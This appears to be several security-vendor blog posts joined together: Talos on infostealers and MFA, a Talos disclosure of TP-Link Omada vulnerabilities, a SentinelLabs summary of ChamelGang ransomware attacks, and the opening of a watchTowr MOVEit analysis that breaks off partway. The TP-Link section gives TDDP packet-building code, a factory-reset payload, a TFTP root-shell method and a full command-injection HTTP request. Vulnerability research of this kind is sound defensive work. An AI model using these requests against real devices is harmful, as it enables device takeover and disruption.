Infostealers specifically are commonly cited as a source of credentials for these breaches and have been reportedly involved in the recent wave. Many defenders think the infostealers landscape is a monolith with individual actors compromising victims and gathering credentials, but the truth is these are highly organized widely distributed campaigns. The groups have congregated online in Telegram chat rooms where credentials are sold by the thousands or tens of thousands. These actors operate large scale campaigns, gather, vet, and organize the credentials they harvest ready to sell to the highest bidder. This ecosystem includes providing tooling for searching and extracting specific types of data from the logs and validating the credentials before offering.

Cisco Talos has sat in these channels and seen thousands of personal credentials for things like Google, Facebook, Netflix, etc. posted for free as a teaser to the larger services they offer. For a fee, actors can get timed access to a repository of credentials to search and use freely. The cost to access these tools varies, but considering a compromised set of enterprise credentials could result in a multi-million-dollar ransom, it’s a minute price to pay.

These channels are full of would-be criminals trying to gain the foothold necessary for their nefarious activities. So far, the focus has been on ransomware and data extortion, but BEC actors can also earn payouts from valid enterprise credentials — even the basic accounts tied to organizations like Google can be a windfall. The Cisco breach from several years ago originated with Google credentials and a password vault that contained their corporate credentials.

Today in many enterprises, the credentials alone aren’t enough, as organizations worked diligently to deploy MFA to improve their security baselines. The challenge is that the application isn’t consistent, and the focus has largely been on the enterprise (domain) itself.

Protect data with MFA, not just assets

Organizations have heeded the constant drone of security professionals pushing for deployment of MFA across the organization and its helped. We’ve seen a huge increase in attacks designed to defeat the protections MFA provides. We constantly observe things like MFA fatigue and social engineering to defeat MFA. This is further supported from the IR Quarterly Trends report, where for the first time, MFA push notifications was the top observed security weakness. Improper MFA implementation was also found in nearly as many engagements. Likewise, MFA itself has gone through some iterations with basic push notifications being insufficient for modern attackers. Now, challenge-based authentication is recommended for all MFA deployments. Actors have noticed, and this recent issue with Snowflake credentials has shown you need to protect data, not just assets, and corporate data is everywhere.

Software as a service (SaaS) has revolutionized business and provided advanced sales tools and analytics to a wide array of industries, facilitating growth and expansion. The problem is it requires data to leave the organization’s safe haven. Most medium- to large-sized organizations today are heavily invested in the cloud, if not multi-tenet cloud environments, with data and resources spread across multiple vendors around the globe. This creates many points of entry for attackers that might be more focused on data exfiltration than unauthorized encryption in 2024.

We’ve noticed a marked shift over the last year or two with larger cartels increasingly focusing on the data they can exfiltrate over the data they can encrypt. There are a variety of factors driving this shift, most importantly technology is catching up. We are seeing more pre-ransomware engagements that are detected and stopped before deployment in our emergency responses (ERs), an important shift from the years prior. Organizations are prepared and ready to respond to ransomware and have solid, practiced recovery processes to minimize any effects of data encryption. This has driven actors to focus on the data they can steal over the data they can encrypt.

Actors running large scale infostealer campaigns have compromised tens of thousands, if not millions, of accounts and the breadth of accounts is extensive. Modern infostealers will gather credentials from web browsers, applications, and the system themselves to even include crypto wallets. For many organizations, this includes the SaaS applications that house sensitive data that, when stolen, can result in financial damage. It’s obvious criminals have taken notice — the recent activity was linked to Snowflake, but all SaaS providers and other organizations that house business-critical data for organizations are at risk.

What can defenders do?

The solution to this problem isn’t going to sound novel, in fact it's going to sound quite familiar. Primarily, anywhere critical data is housed, it needs to be protected with MFA. Organizations should conduct audits of all external data houses and ensure that the vendor supports MFA, and that MFA has been configured along with whatever logging capabilities are available, specifically associated with authentication.

The next thing organizations need to do is acknowledge and act on infostealer infections with urgency. Once an infostealers is detected, assume that all credentials on that system have been compromised, work quickly and effectively to remediate by resetting the passwords, remembering this spreads far beyond just the enterprise itself. Speed is of the utmost importance, as high-value credentials will be sold and actioned quickly. The goal is to make sure that whoever purchases the credentials cannot access critical data. Additionally, ensuring your users have a vetted and trusted way to store passwords is critical. By having an approved mechanism, you avoid credentials ending up stored in web browsers and easy picking for infostealers.

In a perfect world, we’d expect MFA to be deployed everywhere, but that’s not realistic. For instances where MFA cannot be deployed, there are a couple mechanisms to increase security and protection. If possible, limit the access of these accounts to the absolute least privilege. If internal assets are going to be accessed, look at deploying jump boxes. This creates a single point of connection where increased scrutiny can be applied. All non-MFA protected accounts should have increased visibility and all security alerts generated from these accounts should be investigated quickly and effectively.

As attackers continue to shift focus to the data they are trying to steal organizations need to take an honest look at where this data is housed and what data protections are in place to ensure you don’t end up in the headlines for stolen data being sold to the highest bidder, even if that bidder is the compromised organization itself.

• The TP-Link Omada system is a software-defined networking solution for small to medium-sized businesses. It touts cloud-managed devices and local management for all Omada devices. 
• The supported devices in this ecosystem vary greatly but include wireless access points, routers, switches, VPN devices and hardware controllers for the Omada software. 
• Cisco Talos researchers have discovered and helped to patch several vulnerabilities in the Omada system, focusing on a small subset of the available devices, including the EAP 115 and EAP 225 wireless access points, and the ER7206 gigabit VPN router.
• Twelve unique vulnerabilities were identified and reported to the vendor following our responsible disclosure policy.

Talos ID	CVE(s)
TALOS-2023-1888	CVE-2023-49906-CVE-2023-49913
TALOS-2023-1864	CVE-2023-48724
TALOS-2023-1862	CVE-2023-49133-CVE-2023-49134
TALOS-2023-1861	CVE-2023-49074
TALOS-2023-1859	CVE-2023-47618
TALOS-2023-1858	CVE-2023-47617
TALOS-2023-1857	CVE-2023-46683
TALOS-2023-1856	CVE-2023-42664
TALOS-2023-1855	CVE-2023-47167
TALOS-2023-1854	CVE-2023-47209
TALOS-2023-1853	CVE-2023-36498
TALOS-2023-1850	CVE-2023-43482

Vulnerability overview

TALOS-2023-1888

A stack-based buffer overflow vulnerability exists in the web interface Radio Scheduling functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted series of HTTP requests can lead to remote code execution.

TALOS-2023-1864

A memory corruption vulnerability exists in the web interface functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted HTTP POST request can lead to denial of service of the device's web interface. 

TALOS-2023-1862

A command execution vulnerability exists in the tddpd enable_test_mode functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926 and TP-Link N300 Wireless Access Point (EAP115 V4) v5.0.4, build 20220216. A specially crafted series of network requests can lead to arbitrary command execution. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.

TALOS-2023-1861

A denial-of-service vulnerability exists in the TDDP functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted series of network requests could allow an adversary to reset the device back to its factory settings. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.

TALOS-2023-1859

A post-authentication command execution vulnerability exists in the web filtering functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command execution.

TALOS-2023-1858

A post-authentication command injection vulnerability exists when configuring the web group member of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection

TALOS-2023-1857

A post-authentication command injection vulnerability exists when configuring the WireGuard VPN functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.

TALOS-2023-1856

A post-authentication command injection vulnerability exists when setting up the PPTP global configuration of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.

TALOS-2023-1855

A post-authentication command injection vulnerability exists in the GRE policy functionality of TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.

TALOS-2023-1854

A post-authentication command injection vulnerability exists in the IPsec policy functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.

TALOS-2023-1853

A post-authentication command injection vulnerability exists in the PPTP client functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection, and allow an adversary to gain access to an unrestricted shell.

TALOS-2023-1850

A command execution vulnerability exists in the guest resource functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command execution.

Vulnerability highlights

TDDP on wireless access points

TDDP is the TP-Link Device Debug Protocol available on many TP-Link devices. This service running on UDP 1040 is only open during the first 15 minutes of a device’s runtime. This is effectively a mechanism to enable users to have a device serviced remotely without having to activate and deactivate a service manually. This service is exposed any time the device restarts for exactly 15 minutes. During this time, various functions on the device are exposed, which are listed later in this post. Most of this functionality seems to be directly related to factory testing.

Building a request

TDDP request messages consist of a header of size 0x1C followed by a data field only used by select commands. This header generally follows the format laid out in the structure below:

struct tddp_header {
    uint8_t version,
    uint8_t type,
    uint8_t code,
    uint8_t direction,
    uint32_t pay_len,
    uint16_t pkt_id,
    uint8_t sub_type,
    uint8_t reserved,
    uint8_t[0x10] digest,
}

Version

Only two versions of the TDDP service currently appear to be implemented on the target devices: 0x01 and 0x02. Of these, version 0x02 is the only one that contains any functionality of note. 

00407778  int32_t tddpPktInterfaceFunction(int32_t arg1, int32_t arg2, int32_t arg3, int32_t arg4)
...
00407878          if (arg1 != 0 && arg1 != 0)
0040791c              memset(0x42f780, 0, 0x14000)
0040797c              uint32_t $tddp_version = zx.d(*arg1)
00407994              int32_t len
00407994              if ($tddp_version == 1)
00407b1c                  len = tddp_versionOneOpt(arg1, 0x42f780)
...
004079a8              if ($tddp_version == 2)
004079bc                  if (arg4 s< 0x1c)
004079e0                      len_1 = printf("[TDDP_ERROR]<error>[%s:%d] inval…", "tddpPktInterfaceFunction", 0x292)
00407a18                  else
00407a18                      inet_ntop(2, &arg_8, &var_24, 0x10)
00407a38                      if (g_some_string_copying_routine(&var_24) == 0)
00407af4                          len = tddp_versionTwoOpt(ggg_tppd_req_buf_p: arg1, &data_42f780, arg4)
00407a48                      else
...
00407d04      return len_1

In our target devices, only one request within version 0x01 was supported: tddp_sysInit. This request seemed to have little effect on the running device.

0040849c  int32_t tddp_versionOneOpt(void* arg1, int32_t arg2)
…
004084b8      int32_t var_14 = 0
004084bc      int32_t var_18 = 0
004084d8      int32_t var_10
004084d8      if (arg1 == 0 || (arg1 != 0 && arg2 == 0))
004084fc          printf("[TDDP_ERROR]<error>[%s:%d] Invla…", "tddp_versionOneOpt", 0x35f)
0040850c          var_10 = 0xffffffff
004084d8      if (arg1 != 0 && arg2 != 0)
00408548          if (arg1 == 0 || (arg1 != 0 && arg2 == 0))
0040856c              printf("[TDDP_ERROR]<error>[%s:%d] pTddp…", "tddp_versionOneOpt", 0x367)
0040857c              var_10 = 0xffffffff
00408548          if (arg1 != 0 && arg2 != 0)
0040859c              memcpy(arg2, arg1, 0xc)
004085c0              if (zx.d(*(arg1 + 1)) != 0xc)
00408698                  printf("[TDDP_ERROR]<error>[%s:%d] Recei…", "tddp_versionOneOpt", 0x3cf)
004086a8                  var_10 = 0xffffffff
004085e4              else
004085e4                  printf("[TDDP_DEBUG]<debug>[%s:%d] Recei…", "tddp_versionOneOpt", 0x370)
00408600                  tddp_sysInit(arg1, arg2)
0040863c                  uint32_t $v1_3 = zx.d(printf("[TDDP_DEBUG]<debug>[%s:%d] Send …", "tddp_versionOneOpt", 0x372))
00408670                  var_10 = ntohl(*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_3))) + 0xc
004086b8      return var_10

Version 0x02, on the other hand, supports a variety of requests, documented later in this post. 

004086c0  int32_t tddp_versionTwoOpt(int32_t arg1, void* arg2, int32_t arg3)
...
00408868                  memset(arg1, 0, 0x14000)
00408888                  memcpy(arg1, arg2, 0x1c)
0040889c                  uint32_t $v0_11 = zx.d(*(arg1 + 1))
004088b4                  if ($v0_11 == 3)
004088f4                      printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x407)
00408910                      specialCmdOpt(arg2, arg1)
00408938                      printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x409)
004088c8                  if ($v0_11 == 7)
0040895c                      puts("TDDP: enc_cmd. \r")
00408978                      encCmdOpt(arg2, arg1)
00408994                      puts("TDDP: enc_cmd over. \r")
...
004088c8                  if ($v0_11 != 3 && $v0_11 != 7)
004089c4                      printf("[TDDP_ERROR]<error>[%s:%d] Reciv…", "tddp_versionTwoOpt", 0x413)
004089d4                      var_c = 0xffffffff
00408a04      return var_c

When either of these type values are selected, a corresponding sub_type value (documented below) must be supplied.

Payload length

The pay_lenSubtype field contains the number of bytes that make up the payload. This value is calculated after all necessary padding has been applied, but before the payload is encrypted. 

Subtype

The sub_type in use depends on the type value is previously chosen. Sub_type breakouts for each supported types are listed later in this post. These mappings are specific to the targeted devices and may change from device to device. 

The way sub_types are processed differently between the two major type requests. SPECIAL_CMD_OPT requests the sub_type value in this field. ENC_CMD_OPT requests ignore the sub_type field and instead expect the sub_type value to be supplied in the payload at byte offset 0x0A (offset 0x26 into the entire request).

00408a0c  int32_t encCmdOpt(void* arg1, int32_t arg2)
...
00408b54                  uint32_t $v0_12 = zx.d(*(arg1 + 0x26))
00408b6c                  if ($v0_12 == 0x47)
00408d58                      printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x457)
00408d88                      uint32_t $v1_11 = zx.d(tddp_getSoftVer(arg1 + 0x1c, arg2))
00408dc8                      *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_11))) + 0xc)
00408dec                      $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x45a)
00408bb0                  else
00408bb0                      if ($v0_12 == 0x48)
00408e1c                          printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x45e)
00408e4c                          uint32_t $v1_14 = zx.d(tddp_getModelName(arg1 + 0x1c, arg2))
00408e8c                          *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_14))) + 0xc)
00408eb0                          $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x461)
00408bc4                      if ($v0_12 == 0x49)
00408bdc                          puts("TDDP: resetting. \r")
00408c0c                          uint32_t $v1_5 = zx.d(tddp_resetFactory(arg1 + 0x1c, arg2))
00408c4c                          *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_5))) + 0xc)
00408c64                          $v0_2 = puts("TDDP: reset over. \r")
00408b94                      if ($v0_12 == 0x46)
00408c94                          printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x450)
00408cc4                          uint32_t $v1_8 = zx.d(tddp_getHardVer(arg1 + 0x1c, arg2))
00408d04                          *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_8))) + 0xc)
00408d28                          $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x453)
00408bc4                      if (($v0_12 s< 0x48 && $v0_12 != 0x46) || ($v0_12 s>= 0x48 && $v0_12 != 0x48 && $v0_12 != 0x49))
00408ed4                          $v0_2 = puts("TDDP: Recive unknow enc_cmd, no …")
00408ee8      return $v0_2

Digest

Every TDDP request must contain an MD5 digest of the entire request, including the payload after it has been padded but before it has been encrypted. When calculating this value, the digest field must be filled with 0x10 null bytes. For example:

digest_req = b''
digest_req += struct.pack('B', self.version) 
digest_req += struct.pack('B', self.type)    
digest_req += struct.pack('B', self.code)     
digest_req += struct.pack('B', self.direction) 
digest_req += struct.pack('>L', self.pkt_len)  
digest_req += struct.pack('>H', self.pkt_id)     
digest_req += struct.pack('B', self.sub_type)
digest_req += struct.pack('B', self.reserved)
digest_req += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
digest_req += self.payload

digest = hashlib.md5(digest_req).digest()

Payload

For some requests to successfully execute, a payload is required. Regardless of the contents of the payload, it must first be padded with null bytes to an eight-byte boundary. Once padded, the payload must then be DES encrypted. For example:

base_key = ''
base_key += self.username
base_key += self.password
tddp_key = hashlib.md5(base_key.encode()).digest()[:8]
key = des(tddp_key, ECB)
tddp_data = key.encrypt(self.payload, padmode=PAD_PKCS5)

Unaddressed fields

A few more request fields that have not been explicitly called out here exist: code, direction, reserved, and pkt_id. These fields are necessary for a successful request but have values that have stayed static across our testing.

Vulnerability impact

Factory reset device (TALOS-2023-1861)

While enabled during startup, TDDP can be used to factory reset the device through a single ENC_CMD_OPT request, passing a subtype code of 0x49 via the payload field. 

This type of request deviates from the typical usage of the payload field in that it does not get DES encrypted before being sent. Instead, it supplies the subtype code by placing it within the payload field at offset 0x0A while leaving every other byte null. 

When properly formatted, this results in a payload field with the following contents:b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00

Combining this payload field with the remaining required fields gives a request with the following elements:

When a request is properly constructed and sent to a TP-Link EAP115 or EAP225 with the TDDP service listening, the device resets its configuration to the factory default and begins acting abnormally until the next power cycle when the default configuration takes full effect. 

Gain root access (TALOS-2023-1862)

TDDP can also be used to indirectly obtain root access on certain devices through one of the exposed TDDP commands, enableTestMode. The exact purpose of this command is unclear, but when this test mode is enabled, the device sends a TFTP request to a predefined address (192.168.0.100) looking for a file named "test_mode_tp.sh," which is subsequently executed. This sequence can be seen in the code snippet below:

int32_t api_wlan_enableTestMode() {    
    struct stat buf;
    memset(&buf, 0, 0x98);
    int32_t i;
    do {
        i = execFormatCmd("arping -I %s -c 1 192.168.0.100", "br0")                     // [1] Check for the existence of a system at 192.168.0.100
    } while (i == 1);
    execFormatCmd("tftp -g 192.168.0.100 -r test_mode_tp.sh -l /tmp/test_mode_tp.sh");  // [2] TFTP Get a file named `test_mode_tp.sh` from 192.168.0.100
    stat("/tmp/test_mode_tp.sh", &buf);
    int32_t result = 1;
    if (buf.st_size s> 0) {                                                             // [3] If the file was successfully fetched...
        execFormatCmd("chmod +x /tmp/test_mode_tp.sh");                                 // [4] Mark the file as executable
        execFormatCmd("/tmp/test_mode_tp.sh &");                                        // [5] and finally execute the shell script with root permissions
        result = 0;
    }
    return result;
}

By assigning a host the address 192.168.0.100 and setting up a TFTP server serving the test_mode_tp.sh script on that host, the device can be forced to execute any command as the root user immediately after the enableTestMode TDDP request is sent. 

Command injection vulnerabilities in VPN router

The cgi-bin functionality of the ER7206 Gigabit VPN Router is backed completely by compiled LUA scripts. Because these scripts don’t have a standard compilation format for Lua, reverse engineering can be difficult. For exact decompilation, the version of the original compiler is necessary. This complicates the analysis, but studying even the compiled code provided hints about implementation details and further guided our manual testing. A common vulnerability class that plagues similar software is command injection due to unsanitized input. We have exhaustively tested input fields in the user interface and have uncovered eight distinct command injection vulnerabilities, most in the user interface related to configuring VPN technologies (PPTP, GRE, Wireguard, IPSec). The presence of these was verified by testing for side effects of successful abuse of each vulnerability. While all identified vulnerabilities in this group require authentication before exploitation — which lowers their severity — they can be abused to acquire unrestricted shell access. This expands an attacker’s possible attack paths and can further aid in achieving persistence on the device. 

Exploitation of a command injection vulnerability is straightforward. In the following example, the `name` field in JSON data is the target of command injection. No input filtering occurs while handling the data in this POST request, any shell metacharacters that are included in the POST body can be used to execute arbitrary commands within the authenticated context:

POST /cgi-bin/luci/;stok=b53d9dc12fe8aa66f4fdc273e6eaa534/admin/freeStrategy?form=strategy_list HTTP/1.1
Host: 192.168.8.100
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: sysauth=8701fa9dc1908978bc804e7d08931706
Content-Length: 470

data={"method":"add","params":{"index":0,"old":"add","new":{"name":"DDDDL|`/usr/bin/id>/tmp/had`","strategy_type":"five_tuple","src_ipset":"/","dst_ipset":"/","mac":"","sport":"-","dport":"-","service_type":"TCP","zone":"LAN1","comment":"","enable":"on"},"key":"add"}}

TDDP type/Sub-type mappings

SPECIAL_CMD_OPT (0x03)

ENC_CMD_OPT (0x07)

Firmware update

The vendor has supplied updated software, which can be found at:
https://www.tp-link.com/us/support/download/eap115/v4/#Firmware
https://www.tp-link.com/us/support/download/eap225/v3/#Firmware
https://www.tp-link.com/us/support/download/er7206/v1/#Firmware

Executive Summary

• Threat actors in the cyberespionage ecosystem are engaging in an increasingly disturbing trend of using ransomware as a final stage in their operations for the purposes of financial gain, disruption, distraction, misattribution, or removal of evidence.
• This report introduces new findings about notable intrusions in the past three years, some of which were carried out by a Chinese cyberespionage actor but remain publicly unattributed.
• Our findings indicate that ChamelGang, a suspected Chinese APT group, targeted the major Indian healthcare institution AIIMS and the Presidency of Brazil in 2022 using the CatB ransomware. Attribution information on these attacks has not been publicly released to date.
• ChamelGang also targeted a government organization in East Asia and critical infrastructure sectors, including an aviation organization in the Indian subcontinent.
• In addition, a separate cluster of intrusions involving off-the-shelf tools BestCrypt and BitLocker have affected a variety of industries in North America, South America, and Europe, primarily the US manufacturing sector.
• While attribution for this secondary cluster remains unclear, overlaps exist with past intrusions that involve artifacts associated with suspected Chinese and North Korean APT clusters.

Read the Full Report

Overview

In collaboration with Recorded Future, SentinelLabs has been tracking two distinct activity clusters targeting government and critical infrastructure sectors globally between 2021 and 2023. We associate one activity cluster with the suspected Chinese APT group ChamelGang (also known as CamoFei), while the second cluster resembles previous intrusions involving artifacts linked to suspected Chinese and North Korean APT groups. The majority of the activities we analyzed involve ransomware or data encryption tooling.

ChamelGang

We identified indicators suggesting that in 2023, ChamelGang targeted a government organization in East Asia and an aviation organization in the Indian subcontinent. This aligns with known ChamelGang victimology – previous ChamelGang attacks have impacted critical sectors in Russia, including aviation, as well as government and private organizations in other countries such as the United States, Taiwan, and Japan. The activities we observed involve the use of the group’s known TTPs, publicly available tooling seen in previous engagements, and their custom malware BeaconLoader.

Further, we suspect that in late 2022, ChamelGang was responsible for attacks on the Presidency of Brazil and the All India Institute of Medical Sciences (AIIMS), a major Indian healthcare institution. These attacks were publicly disclosed as ransomware incidents and attribution information regarding the perpetrators has never been released. We discovered strong indicators pointing to these institutions as being targeted using ChamelGang’s CatB ransomware. TeamT5 associates CatB with ChamelGang based on overlaps in code, staging mechanisms, and malware artifacts such as certificates, strings, and icons found in custom malware used in intrusions attributed to ChamelGang.

BestCrypt & BitLocker

In addition to the ChamelGang activities, we have observed intrusions involving abuse of Jetico BestCrypt and Microsoft BitLocker to encrypt endpoints as a means to demand ransom. BestCrypt and BitLocker are used legitimately for data protection purposes.

Our telemetry data revealed that these intrusions occurred between early 2021 and mid-2023, affecting 37 organizations. The majority of the affected organizations are located in North America, predominantly in the United States, with others in South America and Europe. The manufacturing sector was the most significantly affected, with other sectors, including education, finance, healthcare, and legal, being impacted to a lesser extent.

Our full report provides extensive details, including victimology, discussions on attribution, an overview of the malware and techniques used, as well as a comprehensive list of indicators of compromise.

Ransomware as a Strategic & Operational Tool in Cyber Espionage

This research highlights the strategic use of ransomware by cyberespionage actors for financial gain, disruption, or as a tactic for distraction or misattribution, blurring the lines between cybercrime and cyberespionage.

Misattributing cyberespionage activities as cybercriminal operations can result in strategic repercussions, especially in the context of attacks on government or critical infrastructure organizations. Insufficient information sharing between the local law enforcement organizations that typically handle ransomware cases and intelligence agencies could result in missed intelligence opportunities, inadequate risk assessment, and diminished situational awareness.

We emphasize the importance of sustained exchange of data and knowledge between the different entities handling cybercriminal and cyberespionage incidents, detailed examination of observed artifacts, and analysis of the broader context surrounding incidents involving ransomware. These are crucial towards identifying the true perpetrators, motive, and objectives.

SentinelLabs continues to monitor cyberespionage groups that challenge traditional categorization practices. We remain committed to sharing our insights to equip organizations and other relevant stakeholders with the necessary knowledge to better understand and defend against this threat. We are grateful to Still Hsu from TeamT5 for providing invaluable insights that contributed to our research on the ChamelGang APT group.

Read the Full Report

In the early hours of a day in a month in 2024, watchTowr Labs was sent a chat log:

13:37 -!- dav1d_bl41ne [[email protected]] has joined #!hack (irc.efnet.nl)
13:37 -!- dav1d_bl41ne changed the topic of #!hack to: mag1c sh0w t1me
13:37 < dav1d_bl41ne> greetings frendz, morning 2 u all
13:37 < dav1d_bl41ne> been sniffing around mail spoolz lately
13:37 < dav1d_bl41ne> vendors now too scared 2 disclose vulnz to the public
13:37 < dav1d_bl41ne> sales teams, pre-sales, all told 2 keep patches secret '4 security reasons'
13:37 < dav1d_bl41ne> very strange, yes?
13:37 < dav1d_bl41ne> but frendz, remember this - when a security company digs into a vuln to protect clients
13:37 < dav1d_bl41ne> publishes their tech analysis
13:37 < dav1d_bl41ne> u really think they the only ones knowing?
13:37 < dav1d_bl41ne> think APT groups in the dark?
13:37 < dav1d_bl41ne> think APT groups are unaware and also not research nday?
13:37 < dav1d_bl41ne> think ransomware gangs can’t read code too?
13:37 < dav1d_bl41ne> Progress, they’ve been sending mails to customers
13:37 < dav1d_bl41ne> talking about patching MOVEit systems
13:37 < dav1d_bl41ne> some auth bypass in SFTP
13:37 < dav1d_bl41ne> funny, right? auth bypass in secure file transfer protocol of secure file transfer solution
13:37 < dav1d_bl41ne> info embargoed until June 25th
13:37 < dav1d_bl41ne> pls respect this.. we not here for madruquz
13:37 < dav1d_bl41ne> MOVEit Transfer ver 2023.0 and newer affected
13:37 < dav1d_bl41ne> MOVEit Gateway 2024.0 and newer also in trouble
13:37 < dav1d_bl41ne> The impact: "An Improper Authentication vulnerability in Progress MOVEit Transfer (SFTP module) can lead to Authentication Bypass in limited scenarios."
13:37 < dav1d_bl41ne> ha ha
13:37 < dav1d_bl41ne> "improper authentication" - w0t authentication?
13:37 < dav1d_bl41ne> "limited scenarios"
13:37 < dav1d_bl41ne> limited like, whole world not yet on Internet?
13:37 < dav1d_bl41ne> anyway, for frendz i give starting points
13:37 < dav1d_bl41ne> unpatched: http://ilike.to/moveit/unpatched.tgz
13:37 < dav1d_bl41ne> patched: http://ilike.to/moveit/patched.tgz
13:37 < dav1d_bl41ne> good luck

A relatively unusual way to find out about impending vulnerabilities, but regardless, dav1d seems trustworthy - how else would we find out about embargoed vulnerabilities?

Background

Today (25th June 2024), Progress un-embargoed an authentication bypass vulnerability in Progress MOVEit Transfer.

Many sysadmins may remember last year’s CVE-2023-34362, a cataclysmic vulnerability in Progress MOVEit Transfer that sent ripples through the industry, claiming such high-profile victims as the BBC and FBI. Sensitive data was leaked, and sensitive data was destroyed, as the cl0p ransomware gang leveraged 0days to steal data - and ultimately leaving a trail of mayhem.

This was truly an industry-wide event, and for this reason, news of a further ‘Improper Authentication’ vulnerability in the same product very rapidly had our full and undivided attention.

Here at watchTowr, we spring into action in situations such as this, where a tight-lipped vendor has advised people to patch, and typically take it upon ourselves to figure out the true technical nature of the vulnerability.

This work goes directly to our clients, who are then able to proactively protect themselves.

For those admins who were spared the carnage of last year, and who are blissfully unaware of Progress MOVEit, a little introduction is in order. It is, at it’s core, an application designed to facilitate easy filesharing and collaboration in large-scale enterprises.

It allows your Windows-based server to function in a similar vein to a NAS device, exposing a variety of means for users to transfer and manage files - for example, they could upload a file using SFTP, and then share it via HTTPS. The software is clearly designed for large-scale enterprise use, namedropping it’s ability to blend seamlessly into regulations as PCI and HIPAA, and proudly boasts “user authentication, delivery confirmation, non-repudiation and hardened platform configurations“.

As we have seen and don't need to prove - this is very obviously a juicy target for APT groups, ransomware gangs, and kids on Telegram with 100m$ USD in Bitcoin.

dav1d_bl41ne didn’t share a huge amount with us ahead of the embargo being lifted, but was kind enough to give us a patched and unpatched deployment of Progress MOVEit Transfer - helpful. As always, fuelled by pure naivety, energy drinks and undeterred by the lack of supporting information - we decided to dig in, and what we found was a truly bizarre vulnerability.

Editors note: This blog post is everything - a beautiful vulnerability and a masterclass in fun exploitation chains.

Before we start, we want to state explicitly in case anyone is otherwise misled - we are not the original finders of this vulnerability, we do not claim to be, we do not want to be. We’ll update this post with credit when we are aware.

Join us as we jump down the rabbit hole, once again.

Initial Vulnerability

Setting up MOVEit Transfer is straightforward, although it required that we spin up a ‘server’ variant of Windows, as it refused to run on our Windows 10 test machines.

Once we had one set up, we could configure the server and add a user account for us to experiment with. By default, this user is then able to upload and download files via the web interface, or using the built-in default-enabled SFTP server.

SFTP, as you may be aware, is a file transfer protocol similar to the old-school FTP, but secured using SSH, the ‘secure shell’. This means that SFTP gets all the benefits that SSH brings, such as being cross-platform and supporting a wide range of authentication options. It is also, as we saw above, the area of the target code in which the supposed vulnerability is hiding.

To start things off, we created a new test user, and started logging in and performing some preliminary checks. For example, we checked for dangerous functionality often left enabled in the SSH server (such as port forwarding), and for the presence of the null authentication handler, none . Nothing seemed amiss, and so we progressed to more invasive measures.

To take a closer look at what was going on, we attached a debugger to the server process (helpfully named SftpServer). Our intention here is to examine the code flow in detail, which would expose any shortcomings.

With the vendor’s advice that the vulnerability affects ‘limited scenarios’ in our mind, we looked to cover as much attack surface as possible, using every feature that could be reached. One of these options was to set up SSH’s ‘key pair authentication’ scheme - an entirely common (and very often recommended) secure way of authenticating users to the server.

Under this method of authentication, instead of identifying a user based on their knowledge of a simple password, will instead use some cryptographic magic to authenticate a user based on a public and private key.

With this scheme configured correctly, we performed a login, and something immediately caught our eye in the output window of the debugger that we’d attached.

The debugger, as you can imagine, outputs some very brief information about exceptions thrown and then caught by the debuggee - things that are not truly errors, but that are unexpected enough to cause a deviation from the usual program flow.

Among this information, we get a key glimpse into the operation of the server code itself:

03:05:40.252 Exception thrown: 'System.ArgumentException' in mscorlib.dll
03:05:40.253 Additional information: Illegal characters in path.

This struck us as unusual.

Since throwing exceptions is slow, it is something developers are trained to avoid during normal program flow, and only do in scenarios where some truly unexpected circumstance has shown itself. Since we’re seeing an exception be thrown, and then caught, surely we must’ve stumbled on to some extremely-unusual corner case here, right? No self-respecting enterprise-grade software would do such a thing for every single certificate authentication attempt, right?!

